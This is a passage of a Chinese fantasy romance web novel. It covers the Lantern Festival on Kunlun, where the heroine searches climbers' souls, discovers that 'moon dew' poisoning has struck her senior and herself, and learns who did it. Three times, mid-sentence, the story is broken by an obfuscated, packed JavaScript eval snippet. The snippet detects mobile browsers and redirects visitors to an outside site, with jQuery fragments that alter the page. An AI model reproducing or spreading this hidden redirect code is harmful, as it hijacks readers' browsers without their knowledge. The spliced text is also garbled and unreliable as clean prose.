但转念一想,人在山腰以下皆无法使用灵力,前世出事也只在山顶天宫,没听说山下哪个凡人修士受了牵连的。 若因她一句劝说,反耽误了后来的攀山,虞姐姐外表和婉,内里性格却刚烈,只怕一时无法接受,反而要出什么事,于是便闭了口,没再劝说什么。 正好虞宛言回来,便对他们两个祝了些攀山顺利、一路顺风的话,只在自己心里暗暗留了些警惕。 随后便察觉到身子被身后的男人拢了拢,摇光垂俯下头,将少女微蹙的眉心轻慢吻开,又抬手慢条斯理拈走她鬓间飘落上来尚未及融化的轻雪,才漆目一转,盯住怀中仰面望着他的少女,慢悠悠扯起欠揍的笑来:“难过什么,那日有我陪你还不够?” 正月十五上元节,昆仑遭逢恶灵突袭大劫的日子,那可是他前世的死期,她能不忧思忧虑,草木皆兵吗? 他倒好,还在这里取笑她! 璃音气地狠狠仰脸,一把揪过他袍领,下拽着叮嘱道:“按人间的说法,上元节灯会本是留给情人相会的,所以那日一整天你都要乖乖呆在我身边,其他地方哪里也不许去,谁喊你都不许去……” 又怕他自矜自傲,不把她这些话放在心上,忙恶声恶气在话尾添了一句:“否则我就和你恩断义绝,还会在晚上把你的头发偷偷剃光,让别的女仙都来笑话你,知道了吗!” 摇光低笑了声,将她发间那根飞碟银簪往里紧了紧,俯身下去啄她说出如此可爱话语的唇,说:“知道了。” 169. 第168章 正月十五,上元佳节。 人间悬彩喧嚷,灯市如昼,然在天宫之上,也只不过又一个平淡乏聊的寻常日子。 然而对于璃音而言,这一日,却是自她重生以来,最为坐立难安、精神高度紧绷的一天。 她整个人如一张崩满的弓弦,从前一天晚上开始,便全神警戒,一刻也没能闲得下来。 一遍遍查验山周布下的阵法,一切安好,并无异样,半夜回殿,躺下不到半刻钟,又猛地弹身起来,下山又从头查了一遍。 查阵时,璃音也发现,正如虞姐姐所言,昆仑山脚下早已聚集起了一帮修士,皆是做着准备,就要登山的,山麓至山腰的各条山路上,也已零零散散缀了一路正在攀山的修士。 对着这些来自五湖四海、三教九流的各路修士,在昆仑覆灭的可能面前,璃音只略微迟疑了下,便立刻决定抛掉所有的原则底线,隐住身形,自山麓开始,偷摸将这些人的神魂逐一探过,以确认没有什么妖魔鬼怪混迹其中。 究竟是何敌人如此神秘,在她的严密追查之下,那么庞大的一支恶灵大军,且明日就要突袭,竟是直至今日,都遮藏得严严实实,丝毫未有显形。 又或者,其实人家早已在她眼皮子底下显过形了,只是她灯下黑,不曾认出发觉? 怀着这些心思一路上探,不期遇着正在攀山的虞家姐弟,算算脚程,竟是明日便可攀至山腰了。 然而现在不是和熟人打招呼寒暄的时候,璃音忧心忡忡,也实在没那个心思,隐着身形,匆匆往他们身上丢了两个护身法阵,便继续鬼魅般轻飘飘贴去前方一位修士的身后,灵台一敲,叩起了魂来。 这一叩,猛地一股子阴邪之感扑面而来,璃音登时眸光一凛,瞳中青芒疾闪,翻身一个游窜,便窜至了那人身前。 晚山寂冷,忽地平地里刮起一阵狂风,刮得那正埋头赶路的男修头巾一歪,步子一顿,忙抬手护住头上布冠,停身张望,却只见四下黑静,唯有呼呼乱啸的风声舔卷着他的衣袍,翻出入耳的猎猎声响。 那男修心头一阵发毛,但料想攀山之路原非坦途,遇上什么考验都是正常,便抱着胳膊搓了搓手臂,口里喃喃念起“神鬼不侵”之类的心决,稍定了下身,便要转回头来,继续攀山。 而就在他头脸归位的瞬间,整个人仿佛突然变作一个僵立的偶人一般,搓着的双臂直愣愣垂下,失神的眸底青光一翻,面上所有的神情,隐忧、困惑、恐惧,全都在这一个瞬间,转为了一片茫茫的空洞。 璃音眸底同时青光大盛,然而无论她如何探查,眼前此人都并非妖魔恶鬼,只是一介普通到不能再普通的凡修。 有多普通呢,就是普通到资质灵力通通垫底,这一次统共五百多人报名的巫师大考,此人估摸连五百名都挤不进去。 可既非恶灵,适才他神魂中散发出来的那股子猛烈的阴邪之气,又是怎么回事? 璃音不解地歪了歪头,眸中青光不减,迎面控着那男修,轻缓启唇,循诱问道:“公子方才在想什么?” 男修睁着一双失焦的眼睛,口唇机械地张合起来,回道:“在想前方峭壁,我今夜若潜伏在那处,暗中推下几人,名次或可挤进五百之内。” 璃音怔愕一瞬,随即摇头发出一声叹笑。 原来是恶念滋生,才会有那般阴诡之气溢散。如此无耻小人竟也好意思来求仙问道,妄图飞升,真是叫她大开了一回眼界。 所以恶人恶鬼,有时还真分不清谁比谁更可怕。 算是虚惊一场,但也确实被一个人可以达到的无耻程度惊得实在。 正感慨着,簪间忽被一道清雪般的男声徐徐叩响:“还舍不得回来,真不用我调些人来替你守着?” 抬头望了望,今夜疏星朗淡,其中一颗北斗倒仍是亮璨璨的,星辉漫寒,追在她的身上,却像一道无声而温暖的视线。 他并不迟钝,在她连日来的精神紧张和不加遮掩的暗示下,他应当也隐约察觉到了,昆仑将在上元节这日迎接一些大事。 叩在男修灵台之上的手印尚未撤离,听着摇光不急不缓的嗓音,璃音心里安定了些,在持续了大半夜的高度紧张之中,偷空缓过了一口气,她分析着回:“你调来那些人也未必顶用,真遇上了,魂弱些的,没准反被上身。” 她笑起来:“明日你只要听话跟紧我,无论发生什么,别离开我身边就行了。” 他虽只是轻描淡写说了句“调一些人”,但想也知道,他会调来的,必是手下的各路天兵神将了。 阵仗过大,璃音忧心会打草惊蛇,一旦那鬼王和恶灵们明日见势不出,潜入暗处,往后便更难防备了。 况且,想想瑶池宴上那只佯醉的白鹤,那些恶灵恐怕皆是会夺舍的,各路闲杂人马多了,怕不是上赶着给人家送肉壳,未必就是件好事。 摇光在她识海中乖顺“嗯”了声,又马上笑起来,悠悠淡淡说:“如果今夜太紧张,非要做点什么才能安心的话,阿璃可以过来抱我。” 璃音“呸”了声,很有骨气说不去,骂他是自恋狂,不要脸。 但还是飞速探完了余下修士们的神魂,便一路奔至还音殿前,见着倚在殿门上似笑非笑等她回去的男人,立马换作悠闲的踱步,迎着他向她张开的双臂,状似嫌弃地撇撇嘴,把自己舒舒服服往他怀里塞了进去。 至于那个被她探出妄图推人下山的修士,已被她缴缚全部灵力,并用魂术勒令此生永不许再修仙,然后动用宇铃,一脚将其踹回了老家。 回了家,璃音窝在摇光怀里,而两人皆窝在同一张躺椅上面,在后院里一起仰着面看星星。 安安静静看了会,璃音忽动了动脑袋,侧眸过来,揪住男人一缕墨发摇了摇,小声道:“小七,你还记不记得,之前娘娘曾给你推过一卦,说你今年会有一个生死大劫。” 怎可能不记得,当初若非西王母那一番说辞,他又如何能那般光明正大赖在她的身边,只不过…… 她竟真当西王母为自己算过那么一卦,摇光低笑着“嗯”了一声,将怀里好不容易一步步“骗”到手的姑娘抱紧了些,说:“自然记得。” 少女把脑袋埋进他怀里,不安又歉疚地蹭了蹭:“其实明日我不该让你陪我的,那不是对你最好的做法,我应该让你离昆仑、离我越远越好,可我……” 可她明知明日便是他的大劫,却没有一刻把他排除在外过。 她当然想守护他,不舍得他遭逢劫难,但却更不舍得放走他这份战力,而是想要留下他,来为她增加明日的胜算。 她也没那么伟大,在她心里,没有谁就该无条件地为谁牺牲。九百年前她可以那般干脆果决地替他一死,也是因为她有计划,有把握,替死是为了之后更好的相聚,那就是当时他们最好的出路,所以她不是为死而死,而是向生而死。 可明日的敌人渺渺茫茫,一切皆无定数,他们是彼此的爱人,便更该同生死,共进退,谁也不该躲在谁的背后。若明日一战,真到了无法挽回的那一刻,那就与他牵着手,酣战过后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436349|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一同赴死,又有什么好怕。 那本就是他的劫,所以她拉他入局,要他也出一份力,应该不能算是多么过分的事吧? 可她的心里,就是会不停地为此忐忑:她明明有办法可以万无一失地让他躲过那劫,活下去的,只要他明日不在昆仑,只要她不那么自私,只要她肯放他走…… 可她偏偏…… 脑袋在他胸前越埋越低,可又觉得自己做下了那样的决定,根本没资格再赖在他怀里,吸了吸鼻子想要起身,结果头刚抬起一点,就被一张大掌扣下,又给摁了回去。 摇光在她脑后轻拍了拍,用他清徐的嗓音,悠悠缓缓地道:“为我化劫不是你的责任,好好爱我才是。累了就睡一会,少去胡思乱想一些有的没的,有动静,我会叫你起来。无论发生什么,是生是死,我们一起。” 波澜不惊的语调,却简直是石破天惊的一段话语。 璃音猛地仰起脸来,却见他唇边笑意懒淡,是他最放松、心情颇好的时候,才会流露出的那种神情。 他原来,早就把什么都猜到了。 想起开头那句“为我化劫不是你的责任,好好爱我才是”,璃音真是又感动又好气,再一次暗骂此人真不要脸,于是积攒了大半月的矫情被他一句话强行打断,她又心安理得地往他胸口趴了回去,重新揪起他一缕发尾,绕在指尖,有一搭没一搭地玩着。 玩了一会,又扯扯手里的头发,扯动他向自己望过来,才仰起一点脸来,小声又认真地问他:“小七,你真的会死吗?” 前世,他确确实实是在昆仑一战之中陨落了,可在昆仑镜照出的画面里,他却又出现在了她被处决那一日的月牢之中。 若说那镜中一眼可能是她的幻觉,做不得准,可就连从未来回来的商月也明确与她说过,他看到他了,本该陨落了的摇光神君,在三百年后又出现在了月牢,且亲手送了她一剑,把她给了结了。 所以小七,他真的会死吗? 摇光视线在她眼中凝了一会,缓声道:“可以说会,也可以说不会。” 璃音听得一愣,这算什么回答? 不满地将手中那缕头发狠狠扯了两把,才终于催得摇光低笑一声,轻抚着她缎黑的长发,向她解释道:“我的神魂亦会破碎,但只要不是当场消散,本源之力又不曾完全陨落,便更像是陷入一场沉眠,破碎的神魂会再慢慢聚集,寻一处适合安神养魄的所在,沉睡将养,等待被人唤醒。” 他的本源之力…… 璃音不禁仰起头来,望了望上方静谧的星空,她猛地心头一跳,激动地直起身来:“也就是说,只要星星不曾陨落,哪怕只留得一丝残魂,你都能再养回来,是不会死的,对不对?” 前世的他,便是这样慢慢回魂的吧,难怪他能如此淡定! 可男人却并未被她这份兴奋感染,他抚在她发上的指骨微滞,顿了会,才道:“只是若睡得太久,全然忘却前事,再醒来时,白纸一张,大概就与人间那些新生的孩童并无差别了。” 正因他本源强大,在旁人眼里,是个“死上一次也没关系”的人,所以他才是前锋,是理所当然可以随时赴死,为他人打头阵的人。 在过去的千万年中,他不是没有“死”过,他记得一些,但更多的,应当在他懵懂醒来,自以为初生,便又被唤醒他的人重新披挂上战甲、扔入战场、无暇他顾之时,就被他毫无痕迹地忘却了。 他搭下眼帘:“若是如此,那其实旧日的我,便也等同于死了吧。” 170. 第169章 虽然摇光一直哄着要她睡一会,养养精神,但璃音到底没敢睡着,偎在他身上眯了一会,子时一到,便就爬起身来,按着一早就约定好的时辰,去殿门口等着迎商月进来。 无论是作为唯一知晓前世今日发生了何事的同盟,还是作为极有可能拥有万龙甲的神秘可疑分子,璃音都觉得,比起放商月在外游荡,总归是把人放在自己眼皮子底下,才更能叫自己安心。 前几日,她与商月商议今日对策时,也曾状似十分不经意地提过一嘴:“听闻你们月宫里供着一副万龙甲,一甲可抵万敌,那么厉害的法宝,我怎么好像从没见你拿出来穿过?或许上元节那日,能拿出来用上一用呢?” 骤然听她提起万龙甲,商月似有刹那的失神,但随即便神色一凛,颦眉肃容道:“此甲乃是龙族血泪铸就之勋迹,只在我月宫供奉,永镇广寒殿中,晨昏香火长祭英魂,岂是可随意拿来披挂的。” 一番话说得正色凛然,对此项提议否决得可谓十分彻底。 璃音难得见他对自己如此眉头紧蹙、肃然端色的样子,倒有几分商止师兄威严时的风范了。 但他不肯穿戴万龙甲是件好事,至少,让他就是东海里那个神秘人的可能性降低了许多,璃音便就笑笑,不动声色地将这话题揭了过去。 迎去前门,没想到商月手里还推了个轮椅,商止师兄在上头坐着,见她和摇光牵着手一起出来,无奈一笑,抢先解释道:“非是我要打扰你们,十五是我易发病的日子,你师姐近日事忙,怕照顾不周,非要让阿月去哪都看顾着我。” 转头望了商月一眼,越发无奈地轻声责叹道:“这小子也是胡来,说与你今晚有约,竟将我也推至此处来了,我本已说了不必,偏是你师姐和阿月爱瞎操心。” 看得出来,师兄是真无奈,也是真不想来,莫名就被强行带至小辈的聚会场中,当真窘得狠了,竟似一时牵动了肺火,话一说完,便是一阵抑制不住的轻咳。 向来敬重兄长的商月这次却很强势,半步不让道:“巫真师姐将兄长郑重嘱托给我,我既应承下来,自然就要尽责,怎好将兄长一人留在房中,无人照应。” 眼看师兄咳得更厉害了,璃音笑了笑,忙走上前去,将师兄膝上的毯子拉起来,给他严严实实盖上,宽慰道:“我们今夜原也只是约着交流些修炼上的心得,又不是寻欢作乐,没什么打扰不打扰的,师兄不必觉得会扫了谁的兴。” 说着便从商月手中接过轮椅,一面将他往房间里推,一面笑道:“所以师兄就听话些,安心在我这里将养一晚吧,别让师姐和商月担心了。” 接连被两个小辈以下犯上,按理该摆摆架子威慑一下,但大概是身子实在虚弱,商止也懒得放出威压和他们计较了,只是由着两人扶他躺下休息,又微微咳了几声,便神思冷倦地把眼一阖,手都懒得挥,以示把他摆弄完了就赶紧给他出去,不想再搭理他们两个。 按师兄这个身体状况,今夜莫说师姐不放心,就是璃音也觉放心不了。 但转念一想前世情形,她才猛地觉出一件事来:前世今日,整个昆仑都覆灭了,师兄却因为深居养病,昏沉未醒,反倒躲过一场战局,最后竟只剩下他独自一人,安然无恙地回到了月宫。 这也不知该不该算是他的好运了,只希望这一次,师兄也能安然度过吧。 安置妥当,璃音为方便看顾商止,便把后院的躺椅搬来了前院,又再添了一张小桌、两把藤椅,三张椅子围成个圈,自己最先占了那把躺椅,便叫摇光和商月都坐了。 三人落座,一时小院寂静,三双眼睛围成个圈,皆无声无息对着,无人眨眼,亦无人开口说话,渐渐地,就透出一股静默而诡异的尴尬来。 但其实璃音甫一坐下,便已将神识外放,随时探查着整座昆仑山上的情况,于院中无声涌动起的暗流浑然不觉,只肃着张脸,眼也不眨,全神戒备着。 但神思百忙之中,她还不忘分出一只手来,塞去摇光微凉的掌中,随他拿去捏握把玩也好,向院中的“客人”宣示主权也罢,省得回头又喝起什么没头没脑的醋来,要来和她闹脾气。 对待自己的男人,只要他肯乖巧听话,她一向都是不吝啬宠爱的。 掌心蓦地被塞进一团温软,摇光不动声色搭下眼皮,瞧了一眼,握紧了,原本锋锐的视线清淡漫散开来,便就脊背一懒,闲闲向椅背倚了过去。 商月看见两人交握在一起的双手,搭垂下目光,眸中并未泛起任何的波澜,只是沉默。 三人便就这么不尴不尬地坐着,直坐到天鸡打鸣,晨曦微露,商月起身去屋内探看了一次兄长的状况,回来时带了一壶煎得滚沸的茶,斟了一盏要给璃音喝。 璃音接到嘴边,刚要入口,忽然神识探查到什么,轻喃了句:“这么快。” 摇光捏捏她的手心,轻问:“看见什么了?” 璃音放下杯盏,转头向他笑道:“没事,就是看到虞姐姐他们已经攀到山腰,在领取考牌了。之前听他们说提前三个月就要开始攀山,还以为这山很难爬,会要很久呢。” 商月微微讶然,倒不是为那两个修士攀山迅速,而是向璃音抬起脸道:“那样远处发生的事,你能看得真切?” 虽说神识外放可令五感扩张,但这个范围并非是无限的,越往远处,能感知到的东西也会渐渐变得模糊不明,只能探出个大概了。 昆仑山何等壮阔巍峨,坐在山巅,要说把山腰之事瞧得分毫不差、如在眼前,莫说商月自己做不到,便是全盛时期的兄长,恐怕也是做不到的。 璃音闻言,向身边的摇光望去一眼,抬手在发间的飞碟银簪上轻抚了下,笑起来说:“是神君把他的眼睛借了一点给我。” 商月的目光短暂地落在少女发间那根银簪之上,银蝶振翅,生动地仿佛随时便要起身飞去,这种样式,莫名让他心中不喜,他想,自己是绝不会送给阿横此等寓意不祥的簪饰的,但他未再言语,只睫羽一跌,便调转开了视线。 北斗神君的本命星石,透过它,五感几可扩张至无限远的空间,相比茫茫宇宙无垠,如今只是监看昆仑山这么一丁点的地盘,自然是不在话下了。 璃音正得意着,忽地,识海里竟响起虞宛初一句温柔的惦念:“也不知夏姑娘此刻在做什么,今日上元节,该是会去师尊那里逛灯去吧。不管做什么,开心顺意就好。” 因她的视线透过星石,正巧就落在虞宛初的身上,于是璃音清楚地瞧见,虞姐姐的嘴唇并未张合,只是仰头望了望北斗杓尾的那颗星星,她此刻心中所念,便就一字不差,全都传入了自己的耳中! 拥有星辰之力的加持,竟真能听到观星之人的心里话! 璃音心中好一阵惊奇,虽然她对此早有领教,但之前都是自己被听被看,作为听见他人心里话的一方,她还是第一次。 这是毫无矫饰,是最真心的袒露,猛地听见自己被人如此温柔地记挂,璃音一颗心真像泡进了温泉一般,有着暖融融的悸动与荡漾。 仔细想想,要听到这么一句,其实还真不易。 须得是她在透过星石看她,而她也正巧凝星回望,并在心中默想着她,那份思念方才能抵达高高的天空,又再穿过重重银汉,把那些温柔款款的字句带来她的耳边。 这么看来,在她刚从九百年前回来,看着星星,郁郁想着某人想得频繁的那段日子里,他其实也没少在偷偷看她吧。 璃音心里暖乎乎的,视线透过星石一转,落去了虞姐姐身边的少年身上。 “阿姐又在发呆了,难道也在记挂着那个小妖女?哼,那女人实在可恶,哄得我和阿姐团团转,我真该在见她第一面,还下得去手时,就一剑结果了她。” 璃音脸一黑,只恨目光杀不死人,丢出的护身阵法也再收不回,只得在心底翻了个白眼,默默把视线从虞宛言身上移开了。 又静坐了半天,日头渐渐挪至正午,昆仑山上依然一派祥和宁静,没有丝毫恶灵即将入侵的迹象。 只有文昌帝君提着一壶酒,晃晃悠悠逛进了前院,一见着摇光,就放开了嗓子嚷嚷:“我就说怎么紫府找不见人,果然是又往小仙子这里来了。今日上元节,雁儿之前酿了些好酒,让我也给你和小仙子送……” 话到一半,突然住了口,他呆睁着眼睛,探着头,往院内看了又看,这才确认了自己没有眼花,院内果真还有第三个人在。 且三人围坐,不知为何,皆是神情肃穆,一片沉默,见他来了,便只同时无声而齐刷刷地向他抬起了头,竟无一人说话。 这是在做什么? 如此诡异。 手中拎着的酒坛子分量沉甸甸的,文昌脑中一个激灵:是了是了,今日上元佳节,乃是人间专会情人的好日子,莫不是小仙子挑不出哪个情人作陪,终归还是思量着要享齐人之福,在和这一大一小商量呢? 上次被摇光一袖子扇了个十万八千里远,这次文昌是说什么也不肯搅这浑水了,然而步子都迈进来了,也没个直接退回去的理,他只好打了个哈哈,转头向商月笑道:“月宫少主也在?” 月宫里这位小仙君到底还是懂礼一些,站起身来,向他恭恭敬敬回了一礼:“帝君。” 有人起身相迎,便没方才那么尴尬了,文昌大剌剌提了酒进院,搁上小桌,便眉飞色舞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448475|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄傲夸卖起楚雁儿酿酒的手艺,一面说着这酒的香醇,一面便要掀开坛盖,分盏给众人畅饮。 高高兴兴倒出一盏,这第一杯好酒自然是要先给好友尝的,文昌正往摇光跟前推盏过去,忽地感觉背脊一凉,一转头,便见小仙子一双清寒警惕的冷眼,已直直向他手中杯盏射了过去。 文昌又是猛打一个激灵,做……做什么摆出这副眼神,他还能给摇光下毒不成? “他不能喝。”璃音一把接走文昌手中杯盏,肃冷着声音道:“这种东西,以后谁也不许给他喝。” 少女沉冷着脸,可瓷白透玉的面皮上,还是有微不可察的红热,悄然泛了上来,她搁下杯盏,看向文昌,有些微恼地道:“上次那酒,是不是也是帝君给他喝的?帝君难道不知他喝了会醉,是不能沾酒的吗?” 上次是哪次? 哦,想起来了,该是小仙子夜不归宿,摇光顶着一张死人脸回来的那次。 那酒确实是他给摇光喝的,但那又怎么了? 文昌茫然向摇光望了一眼,见他一脸深不可测的笑意,更茫然了:“怎么不能沾酒,他难道不是……” “放心,我不喝就是。” 文昌话未说完,已被摇光向着少女乖巧的应答声截断,他莫名其妙看了这两人一眼,把未能说完的话,自在心中想完了:怎么不能沾酒,他难道不是天生地养的仙胎,喝酒不过品个味儿,从来都喝不醉的吗? 平白讨了个没趣,这院中气氛也是古怪,三人像是要迎什么大事一般,个个严阵以待,都没多余的心思搭理自己的样子。雁儿还等着他陪她去逛灯呢,谁稀罕在这多留,这一个个的,惹不起,他还躲不起吗?文昌便赶紧寻个由头告了辞,一个晃身,便头也不回地闪远了。 楚娘子的心意璃音还是领的,把酒坛盖上,小心收藏好了,只希望今日过去,大家都还好好的,能有命再聚在一起,好好品味这一坛佳酿吧。 回来前院,忽闻得房中传来商止师兄一声闷哼,璃音心中一凛,忙进屋探看,却见师兄目眦充血,满头大汗,死咬着牙关,似在强忍着什么极大的痛楚。 “师兄!” 璃音一声惊呼,急忙忙奔至榻前,捞出师兄的腕来号脉。 脉象还未诊出,璃音已自红了眼眶:“怎么会,怎么会这样的……” 师兄因病而常年清瘦的腕骨,如今却充血发胀,泛着气血阻滞的淤紫,凸成了一个极不正常的巨大肿块。 再捞出其余四肢细看,只见他浑身关节肿胀,一个个关节,竟像是胀成了一道道阻碍血脉流通的堤坝,将他全身气血切斩成一段一段,皆被困在了由堤坝围拦而成的一段段小格子间里,再难畅通。 师兄的神魂曾遭受过重创,但这么多年调养下来,也只是魂弱体弱,怎会有此等仿佛身中剧毒般的症状出现?! 这根本就不是他平日里的病症! 看着曾经那般清风朗月的师兄,现在却四肢发肿,浑身布满一个个巨大而诡异的青紫色肿块,把他胀得面目全非,像个丑陋的怪物一样,璃音连忙眨眨眼,把眼底迅速泛起的水光全都眨走。 看见这样的自己,比起身体上的剧痛,师兄心里的痛苦,恐怕才是更不可估量的吧。 小心将商止扶身坐起,璃音盘坐在他身后,运劲蓄力,想要试着为他体内输送灵力,看看能否替他打通经脉。 可掌心刚贴上师兄的后背,竟就被他反手一把按下了。 “阿横……” 即便虚弱至此,师兄还是强忍着剧痛,艰难而又关切地转过脸来,握紧了她的腕骨,似有什么极重要的事要向她交代。 他轻轻地匀喘过几息,尽量抑着颤声,向她道:“不必费这个功夫了,是……是月露,你不要动用灵脉,否则,你……你也要……” 尚未说完,话声顿止。 是商止喉间一个肿块骤然而突兀地胀大起来,堵塞住了他的喉管,叫他再发不出半点话音。 握在少女腕上的手无力滑落,竟是要昏迷过去的征兆,璃音惊叫一声,泪水夺眶而出:“师兄!” 她眼泪也顾不得擦,忙抬起手,没有再尝试为他输送大量需要动用灵脉的灵力,而是在空中飞快划写起一道灵讯,就要给巫真师姐送去。 虽不知师兄的身体为何会有此异变,但他方才的话一定很重要,她都牢牢记得。 月露,不可动用灵脉,否则她也…… 她也会什么? 也会变得像师兄一样吗? 脑中思想未完,忽觉指尖一滞,她正飞快划写着的那一只食指的指节,正以肉眼可见的速度,缓缓地肿胀了起来。 171. 第170章 上元惊变·囚 随她挥写灵讯,那一根正使用着灵力在空中划写的食指指节,不过在数字之间,便已胀至了原先的两倍大小。 璃音不动声色扫过一眼,脸上见到师兄躯体异化的泪痕未干,如今异化发生到了自己身上,内心反而出奇地镇静下来,她手指不停,飞快划动着将灵讯写完,打出,才透过飞碟银簪,清喝一声:“破军!” 身侧蓝白清光骤起,人影与飞剑瞬间齐至。 璃音未发一言,只把肿起的右手向前一伸,摇光垂眼一看,清眸顿时蒙上一层冷彻的霜色,持剑的腕骨却一滞未滞,会意一抬! 唰! 锋利刀刃在空中划过雪亮的一线寒芒—— 剑芒破空,向着少女伸出的那一截皓白雪玉的腕子,干脆,利落,毫无迟疑地斩下! 啪。 少女一只纤白似玉的手,顿成一坨死肉,被削落在缓缓滴涌而起的一片血红黏腻的潮泊之中。 颊边几点温热喷溅上来,璃音随意抬起没了手的臂膀一擦,擦红了半边袖管。 不知想起什么,竟忽地笑抿了唇,在玉横腾起的莹莹碧色之中,抬起脸来,向摇光戳出那只血淋淋、又正在飞快长出新鲜血肉的胳膊,弯眼一笑:“这下,我可真是要长出再没别人牵过的新手给你牵了。” 摇光没觉得好笑,砍完手,面无表情打出一个手诀,替她除了身上血迹,才把她抱进怀里,轻声问:“没事么?” 幸而手砍得快,肿胀没蔓延到他处,应该暂时是没事了。 不过…… 璃音靠在他怀里轻轻摇头,也收敛了笑意:“我不知道……大概只要不动用灵力,就不会有事吧。” 说到这,她看向地上那一只浸泡在血泊之中的残手,不禁冷笑一声:“不过这点小动作,也困不住我。” 商止师兄体弱,每日必会挑个时辰,静养调息,活血走脉,那人应当也是算准了这点,才成功把师兄变作如此的。 可她不一样,她有玉横,坏了的关节,砍掉重塑就是! 不管出招的是谁,这一招放她身上,那可真是大大的失策了。 她也不确定这是不是中毒,现下唯一可以确定的是:今日,就在这座昆仑山上,就在她接触过的人里,有人已对她出过招了,且这个人,不想让她动用灵脉。 猛地想起什么,璃音忙从摇光怀里撤身出来,捏起他刚使过灵剑的手,翻来覆去小心查看。 见男人的腕骨清劲有力,毫无淤血肿胀的迹象,璃音暗松一口气,但还是不放心地询问:“你呢,有没有觉得体内有什么异样?” 少女新长出的那一只手还不大灵便,两手交替着翻弄男人的大掌时,僵硬地简直像在抛接个烫手山芋一样。 摇光垂眼看着,霜寒的眼底终是闪过一抹忍俊不禁的笑意,他安抚地反握住少女光洁如旧的腕骨,缓缓道:“我没事,你忘了么,我早就与你说过——” 他倏然抬眸,破军凌厉的剑芒随他的目光一起寒彻下来,剑尖一抬,骤然指向了门口那一道月白色的身影:“那种等级的东西,对我没用。” 璃音一惊,忙一个起身,张臂拦在了那泛着寒光的剑尖之前:“你别……” 破军安静地悬停于少女身前,摇光将视线从商月身上收回,冷冷瞥她一眼:“没有第三次。” 这已是她第二次为那人挡他的剑。 好凶哦。 杀人犯问斩前还要先把罪责问个清楚呢,而且商月他很可能只是…… 璃音正自悄声撇嘴,就听得身后一声清唤:“阿横?” 一地血水,半截残肢,满室寒芒,还有两人间的低声对峙,商月却仿佛都看不见、也听不到一般,只是双目晶亮地望着少女为他挡剑的背影,跨步进屋,切切问询:“手还痛么,兄长怎样了?” 璃音一听这话,心里基本确定了,她按捺住扶额的冲动,苦笑着回过身:“这次你又做了什么?” 商月的目光静静落在少女新长出来的那一只手上,半晌,才抬眸笑起来道:“阿横,你放心,这一次,我已把一切都解决好了,大家都不会有事的……” 这下没跑了,果然一不留神,他就又放着商量好的计划不管,自我发挥起来了! 璃音痛苦地抚了抚眉心,打断他还沉浸在自我感动中的自言自语,望着他,给自己分析道:“月露是什么时候被喂到我体内的?是清晨煎来的那盏茶?我只口唇上沾了一点,所以并不严重,而师兄,师兄是喝了原本你要给我喝的茶,所以才……” “阿横,别想了。”商月静望着少女努力运转着小脑袋,试图分析却分析不对路的样子,不禁笑得疼宠,“其实有我在,你本就不必如此紧张忙碌,你什么都不必做,也什么都不必知晓……阿横,你只需相信我,我不会害你,这一次,我会为你解决好一切,我不会再让你……” 话音戛然而止。 是璃音挥手一道魂力直接把他打晕,然后晃身而上,指印一叩,便往他识海深处探了进去。 很连贯,没有失忆,看来也没有被夺舍过,连片的识海如世间最最清澈干净的湖泊,没有一丝一毫的杂质,一切恶念歹念,在这样一片澄净的识海中,都不可能有成形的机会。 然而璃音非但没能松口气,反而差点咬碎了后槽牙。 叩印的手又肿起来了,璃音不敢贪多,只看了自己最关心的这一段,确认了他行此事的目的,便立即收手。 她阖上眼,狠狠叹气叹了至少五息,转回身,一面又一次向摇光伸出那只肿胀的右手,一面向他述说自己探出的情况:“月露是被他前些日子下在灵补之中喂给我了,为的是困住我的龙化之症,今日那盏茶只是用来诱发的引子。” 摇光面不改色,再一次砍瓜切菜一般,利落地砍下她伸来的右手。 被砍的少女也面不改色,仿佛只是被人挠了挠痒,声线清稳,只是略带寒意地抬起眸来,续道:“因为不知为何,他似乎特别笃定地认为,我会在今日狂性大发,召唤恶龙,屠尽昆仑全山,包括你。” 前世昆仑覆灭之后,她狂性大发,失去神智,屠尽了虞家村不假。只没想到被关月牢三百年,她竟不知,原来昆仑遭戮、神巫陨落那么大的一口锅,因始终找不见那神秘的鬼王,而她又恰好一直失踪在逃,最终的最终,竟也是叩去了她的头上! 难怪……难怪锦云仙子赶来月牢处决她时,最后一剑刺下,她口中念的是:“这一剑,为昆仑众巫。” 璃音脑子里嗡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461988|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗡的,气得浑身气血翻涌,瞳孔下暗红血光闪动。 她确实曾经做错了事,她认! 所有曾经她犯过的错,每一件她都认! 可她没做过的事、没杀过的人,且还是那般可怖的罪孽,凭什么都无人来问她一声,就那样钉死在了她的身上! 